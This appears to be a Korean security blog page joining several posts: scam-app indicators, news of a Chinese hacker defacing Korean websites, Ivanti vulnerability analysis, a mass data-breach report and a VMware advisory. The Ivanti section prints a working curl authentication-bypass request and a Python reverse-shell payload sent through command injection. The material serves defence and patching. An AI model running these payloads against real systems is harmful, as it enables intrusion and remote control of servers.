44 a[.]ebrehld[.]store www[.]yshsns[.]xyz
45 a[.]tpqqkaf[.]store www[.]ropsows[.]xyz
46 a[.]fwhfqkr[.]store www[.]kloieds[.]com
47 a[.]bfwheyk[.]store www[.]accerxas[.]com
48 a[.]mofwepg[.]store www[.]djeruy[.]xyz
49 a[.]lvowzbi[.]store www[.]chneyxvgue[.]xyz
50 www[.]fdasgrdeg[.]store www[.]accerxan[.]com
51 a[.]agplnnw[.]store www[.]xoepdi[.]com
52 a[.]bdemzuc[.]store www[.]dckgti[.]top/kjhek
53 a[.]tskaewj[.]store www[.]aopeses[.]xyz
54 a[.]zuobazx[.]store www[.]accerxan[.]com
55 z[.]whbppxbv[.]store www[.]cmeo[.]com/syn/?y=crypto
56 a[.]syodobc[.]store www[.]flpoesd[.]xyz
57 a[.]cpjmise[.]store www[.]dsdfj[.]xyz
58 a[.]btgevwa[.]store www[.]gdfkhs[.]xyz
59 a[.]ecpotev[.]store www[.]huioesp[.]xyz

 

- 연관 IP 및 MD5

IP 104.22.2.180, 18.166.69.216
MD5 8fd044efd4dd587e2f88c99317371a15 9c2c0d531128233fd5e5ce1fe73afd12
63a515eeb2ef9f73d5b4496f95816e22 1a2c2796572417d7962d6781fee0cb0d
e44fa1bc393b73cbe85c1c0667caf9a4 1ef42484fe8c64382b34fedb1ca93b2e
386afb1e9cd65f88b3faf4031170fc2b 0353251c0ecb5c04ae90ad4c34fd01c8
05b4f435a757f1af3e1e3f269fe3aa3a c52b6d4a3e6f49239397a7f6f5690c78
68c9dafde8be4306b2626cc4a8a5406b 45cdb45b4a0eb201acce1b6dc0477601
7c931a39ce321b216dd22fbae69273a9 768605b5fd6721d7acd3c1a6523955b8

 

4. 대응방안

- 발견된 앱은 백신社와 협조하여 탐지 조치

- 금융보안원 등 유관 기관에 해당 내용을 전파하여 사기앱과 연계된 사이트 차단

 

5. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=112826&pageIndex=1&searchCnd2=#LINK

요약 - 중국발 국내 웹사이트 공격이 활발
- 국내 10,737개 IP 주소를 텔레그램에 노출 및 한국 공격 권유
내용 - 중국 해커 니옌이 여러 웹사이트 해킹 정황 공개
> 국내 웹사이트를 공격한 IP 주소 10,737개 텔레그램 공유
> 유튜브에 해킹 과정을 공개

- 유튜브를 통해 공격에 사용한 공격 도구와 공격에 성공한 IP 공개
> 취약점, IP 주소 등이 자세하게 소개되어 있었으나, 현재는 지워진 상태
> 2차 피해 가능성 존재

- 텔레그램에 공유한 게시글에서 한국 정부기관 공격에 동참할 것을 권유
> 국토교통부, 청와대 등 공격 권유

- 현재까지 공격된 국내 웹 사이트 목록
> 김천녹색미래과학관 디페이스 공격
> 경성대학교 디페이스 공격
> 신애성구사 디페이스 공격
> 청주시 교통국 지리정보공개플랫폼 해킹 지리 정보 유출
> 숙명여대·순천향대 shellShock(CVE-2014-6271) 취약점 이용
> 순천향대학교, 이화여자대학교 시스템 약물학 연구실 공격
> 용인시장학재단 사이트 관리자 로그인 정보 공유
> 보안뉴스 DDoS 공격 시도
기타 - 정부부처 홈페이지에 대한 공격 가능성도 염두에 두고 대비
- 공격 IP로 추정되는 것을 식별하고 차단
- 공격에 사용된 도구와 취약점 식별이 필요
- 피해 기관과 기업에 대한 점검이 시급
- KISA: 관련 기관과 공유하고, 보안 강화를 요청할 예정

 

보안뉴스

 

국내 웹사이트 무차별 공격 중인 중국 해커, 1만개 이상 IP 주소 텔레그램 공개

최근 우리나라 웹사이트를 무차별 공격하고 있는 중국 해커 니옌이 국토교통부와 청와대(?) 해킹을 부추긴 데 이어, 여러 웹사이트의 해킹 정황을 추가로 공개했다. 특히 국내 웹사이트를 공격

www.boannews.com

 

샤오치잉 활동했던 中 해커, ‘김천녹색미래과학관’ 디페이스 공격 이어 한국 정부기관 해킹

닉네임 ‘니옌(年)’을 사용하는 중국 해커가 경북 김천에 위치한 과학관 ‘김천녹색미래과학관’의 웹사이트를 디페이스 공격한 데 이어 데이터 인텔리전스 기업 S2W의 웹사이트, 채용 사이트,

www.boannews.com

 

우리나라 웹사이트 해킹 예고한 중국 해커, 경성대학교 디페이스 공격했다

국내 지자체가 운영하는 과학관을 디페이스 해킹하고, 보안기업을 디도스 공격한 중국 해커 ‘니옌(年)’이 경성대학교를 해킹한 정황이 23일 포착됐다. 앞서 해당 해커가 한국의 정부기관과 교

www.boannews.com

 

종교 제품 온라인 쇼핑몰 ‘신애성구사’, 디페이스 해킹... 해커 이름만 4명

종교 물품을 판매하는 온라인 쇼핑몰 ‘신애성구사’의 웹사이트가 홈페이지 화면이 위·변조(디페이스 해킹)되는 공격을 당한 정황이 포착됐다. 더욱 큰 문제는 해당 사이트가 보안이 취약한

www.boannews.com

 

국내 웹사이트 연이어 공격한 중국 해커, 청주시 교통국 지리정보공개플랫폼 해킹 정황 포착

국내 웹사이트에 대한 해킹을 예고한 중국 해커 ‘니옌’이 청주교통국 지리정보공개플랫폼을 해킹한 정황이 포착됐다. 앞서 교육기관과 국내 기관을 타깃으로 공격을 예고한 바 있어 기관 및

www.boannews.com

 

한국 사이트 해킹 예고 중국 해커, 숙명여대·순천향대 등 교육·기관 무차별 공격

중국 해커 니옌이 국내 교육기관과 국내 정부 사이트를 타깃으로 무차별 공격을 예고한 가운데, 이번에는 숙명여자대학교 사이트를 타깃으로 취약점 공격을 실행한 정황이 포착됐다.

www.boannews.com

 

1. Ivanti [1]

- 미국 유타주 사우스 조단에 본사를 둔 IT 소프트웨어 회사
- IT 보안, IT 서비스 관리, IT 자산 관리, 통합 엔드포인트 관리, ID 관리 및 공급망 관리용 소프트웨어를 생산

 

2. 취약점

- CISA에서 해당 취약점과 관련된 광범위한 악용에 따른 지침 발표 [2][3]

 

2.1 CVE-2023-46805

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46805 [4]

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 인증 우회 취약점

> 원격의 공격자가 인증을 우회하여 제한된 리소스에 액세스할 수 있음

> 악용에 성공한 공격자는 이후 CVE-2024-21887 (명령 주입 취약점, CVSS:9.1)로 추가 익스플로잇 가능

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

 

- 해당 취약점은 /api/v1/totp/user-backup-code 엔드포인트에서 발생 [5]

> 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /api/v1/totp/user-backup-code 등 특정 경로의 경우 인증이 강제되지 않음

> 이후 해당 요청은 Python 백엔드 REST 서버로 전달

// web!doAuthCheck
bool __cdecl doAuthCheck(DSLog::Debug *a1, unsigned int *a2)
{
  // ...snip...
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <---
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1; // <---
  }
  // ...go on and enforce authentication...

 

- /api/v1/totp/user-backup-code 및 추가 문자를 입력해 요청을 전송할 경우 인증을 우회해 제한된 리소스에 액세스 가능

> /api/v1/system/system-information에 접근해 시스템 정보를 반환

> Python REST 백엔드의 모든 엔드포인트에 액세스할 수 있으며 RCE 등 추가 익스플로잇이 가능

$ curl -ik --path-as-is https://[Target IP]/api/v1/totp/user-backup-code/../../system/system-information
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 297

{"software-inventory":{"software":{"build":"1647","name":"IVE-OS","type":"operating-system","version":"22.3R1"}},"system-information":{"hardware-model":"ISA-V","host-name":"localhost2","machine-id":"*****************","os-name":"ive-sa","os-version":"22.3R1","serial-number":"*****************"}}

 

2.1.1 CVE-2024-21887

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21887 [6]

 

- CVE-2023-46805 익스플로잇에 성공한 공격자가 원격 명령을 실행할 수 있게 되는 취약점 (CVSS: 9.1)

> 영향받는 버전은 CVE-2023-46805과 동일

 

- 해당 취약점은 /api/v1/license/keys-status 엔드포인트를 이용

> restservice/api/resources/license.py: 요청이 /api/v1/license/keys-status로 시작할 경우 명령을 처리

> 두 취약점 악용을 위한 PoC 존재 [7]

class License(Resource):
    """
    Handles requests that are coming for licensing APIs
    For now the only API is license/auth-code
    """

    # ...snip...

    def get(self, url_suffix=None, node_name=None):
        if request.path.startswith("/api/v1/license/keys-status"):
            try:
                dsinstall = os.environ.get("DSINSTALL")
                if node_name == None:
                    node_name = ""
                proc = subprocess.Popen(
                    dsinstall
                    + "/perl5/bin/perl"
                    + " "
                    + dsinstall
                    + "/perl/getLicenseCapacity.pl"
                    + " getLicenseKeys "
                    + node_name, # <---
                    shell=True,
                    stdout=subprocess.PIPE,
                )

 

- 아래 명령을 인코딩하여 페이로드 전송

Payload: ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.43",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
URL: [Target IP]/api/v1/totp/user-backup-code/../../license/keys-status/[Encoded Payload]

 

[사진 3] 익스플로잇 결과

 

2.2 CVE-2023-35082

[사진 4] https://nvd.nist.gov/vuln/detail/CVE-2023-35082 [8]

 

- 취약한 버전의 Ivanti EPMM/MobileIron Core에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 관리 서버의 API 엔드포인트에 엑세스할 수 있으며, 개인 식별 정보 접근 및 플랫폼 변경 등 여러 작업 수행 가능

> CVE-2023-35078

영향받는 버전
① EPMM 11.8 ~ 11.10
② MobileIron Core 11.7 이하

 

- 구체적인 내용은 확인되지 않으나 구글링 및 PoC 결과 2가지 API를 사용하는 것으로 판단됨 [9][10]

API 설명
/mifs/asfV3/api/v2/ping API 버전
/mifs/asfV3/api/v2/admins/users 사용자 정보

 

[사진 5] 익스플로잇 결과

3. 대응방안

- 벤더사 제공 업데이트 제공 [11][12]

> CVE-2023-46805, CVE-2024-21887의 경우 아직 패치 개발중으로 01/22~02/19까지 버전 간 시차를 두고 출시 예정 [13]

※ 두 취약점의 경우 벤더사 홈페이지를 통해 임시 완화 조치 적용 [14]

> CVE-2023-35082의 경우 11.2 이하 버전은 지원 중단되었으며, 11.3 ~ 11.10 버전 RPM 스크립트 적용 참고 [15]

취약점 제품명 영향받는 버전 해결 버전
CVE-2023-46805 Ivanti Connect Secure
Ivanti Policy Secure
9.x
22.x
-
CVE-2024-21887
CVE-2023-35082 EPMM (Ivanti Endpoint Manager Mobile) 11.8 ~ 11.10 11.11.0.0
MobileIron Core 11.7 이하

 

- Mandiant에서 취약점을 악용한 공격에 대한 침해지표를 제공 [16]

 

- 탐지 패턴 적용

취약점 패턴
CVE-2023-46805 api/v1/totp/user-backup-code
CVE-2024-21887
CVE-2023-35082 mifs/asfV3/api/v2

 

4. 참고

[1] https://www.ivanti.com/
[2] https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities
[3] https://www.cisa.gov/news-events/news/cisa-issues-emergency-directive-requiring-federal-agencies-mitigate-ivanti-connect-secure-and-policy
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-46805
[5] https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis?referrer=etrblog
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-21887
[7] https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-35082
[9] https://threatprotect.qualys.com/2023/08/03/ivanti-endpoint-manager-mobile-epmm-remote-unauthenticated-api-access-vulnerability-cve-2023-35082/
[10] https://github.com/Chocapikk/CVE-2023-35082
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71292
[12] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71301
[13] https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
[14] https://success.ivanti.com/customers/Community_RegStep1_Page?inst=UL&startURL=%2Fservlet%2Fnetworks%2Fswitch%3FnetworkId%3D0DB1B000000PBGy%26startURL%3D%2Fs%2Farticle%2FDownload-Links-Related-to-CVE-2023-46805-and-CVE-2024-21887
[15] https://forums.ivanti.com/s/article/KB-Remote-Unauthenticated-API-Access-Vulnerability-CVE-2023-35082?language=en_US
[16] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
[17] https://www.boannews.com/media/view.asp?idx=125833&page=19&kind=1
[18] https://www.boannews.com/media/view.asp?idx=126053&page=9&kind=1

[19] https://www.boannews.com/media/view.asp?idx=126245&page=1&kind=1

요약 - 260억 개가 넘는 데이터와 12테라바이트의 정보가 포함된 사상 최대 규모의 데이터 유출 사건이 확인
- 한국 계정은 16,000개 사이트에서 62,465,523개 데이터가 유출된 것으로 확인
내용 - 해당 사건을 MOAB(Mother of all Breaches)라고 이름을 붙임
> 이전에 발생한 수천 건의 침해사고를 통해 유출된 정보와 비공개로 판매된 데이터베이스로부터 수집된 정보들의 집합체를 발견
> 총 2,500건의 데이터 유출 사고에서 수집된 3,800개 폴더에 260억 개 데이터가 포함

- 노출된 데이터의 양이 방대하고 민감한 정보들이 포함
> 위협 행위자들이 다양한 악의적 활동에 악용할 수 있는 상황

- 초기 분석 결과
> 다양한 플랫폼의 데이터 포함 및 여러 국가의 정부 기관 데이터까지 포함
※ 텐센트 QQ(14억 건), 웨이보(5억 4천만 건), 마이스페이스(3억 6천만 건), 트위터(2억 8천만 건), 디저(2억 5천 8백만 건), 링크드인(2억 5천만 건), 어덜트프렌드파인더(2억 2천만 건), 어도비(1억 5천 3백만 건), 캔바(1억 4천 3백만 건), VK(1억 1천만 건), 데일리모션(8천 6백만 건), 드랍박스(6천 9백만 건), 텔레그램(4천 1천만 건) 등

- 데이터를 활용해 크리덴셜 스터핑 공격에 적극 활용 및 스팸 메일 급증 경고
> 많은 사용자가 여러 플랫폼에서 사용자 이름과 비밀번호를 동일하게 사용한다는 점을 고려
> 다양한 계정에 무단으로 액세스할 수 있고 스피어피싱 공격 타깃이 될 수 있음
기타 - 고유하고 복잡한 비밀번호를 사용, 2단계 인증을 활성화, 계정을 모니터링하는 등 각별히 주의 필요

 

보안뉴스

 

[긴급] 260억 개 이상 사상 최대 해킹 데이터 저장소 발견…한국도 1만6천개 이상 사이트서 6천만

사상 최대 규모의 데이터 유출 사건이 드러났다. 이 초대형 유출 사건에는 무려 260억 개가 넘는 데이터와 12테라바이트의 정보가 포함되어 있다. 이 데이터를 확인결과 한국 계정도 1만6천개 사

www.dailysecu.com

 

1. Aria Automation [1]

- 클라우드 환경에서 애플리케이션을 구축하고 관리할 수 있는 자동화 플랫폼

- 사용자가 지정한 리소스를 퍼블릭·프라이빗 클라우드에 배포하는 기능을 담당

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-34063 [2]

 

- 취약한 버전의 Aria Automation에 접근 제어가 누락되어 발생하는 취약점 (CVSS: 9.9)

> 공격자는 취약점을 악용해 원격 조직 및 작업 흐름에 대한 무단 액세스가 가능

> 현재 공격에 악용되었다는 증거는 없으나, 최대한 빠른 패치를 권고

> CISA는 해당 취약점에 대한 경고를 발행 [3]

영향받는 버전
① VMware Aria Automation(이전 vRealize Automation) 8.14.x, 8.13.x, 8.12.x, 8.11.x 버전
② VMware Cloud Foundation(Aria Automation) 5.x, 4.x 버전 

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6][7]

제품명 영향받는 버전 해결 버전
VMware Aria Automation 8.14.x 8.14.1+
8.13.x 8.13.1+
8.12.x 8.12.2+
8.11.x 8.11.2+
VMware Cloud Foundation(Aria Automation) 5.x, 4.x KB96136

 

4.참고

[1] https://www.vmware.com/kr/products/aria-automation.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34063
[3] https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation
[4] https://www.vmware.com/security/advisories/VMSA-2024-0001.html
[5] https://kb.vmware.com/s/article/96098
[6] https://kb.vmware.com/s/article/96136
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71298&menuNo=205020
[8] https://socradar.io/patches-available-for-a-critical-vulnerability-in-vmware-aria-automation-cve-2023-34063/
[9] https://github.com/advisories/GHSA-fcww-v4hr-rgfr
[10] https://thehackernews.com/2024/01/citrix-vmware-and-atlassian-hit-with.html
[11] https://www.securityweek.com/vmware-urges-customers-to-patch-critical-aria-automation-vulnerability/
[12] https://securityonline.info/cve-2023-34063-cvss-9-9-a-critical-flaw-in-vmware-aria-automation/
[13] https://www.boannews.com/media/view.asp?idx=125955&page=2&kind=1

+ Recent posts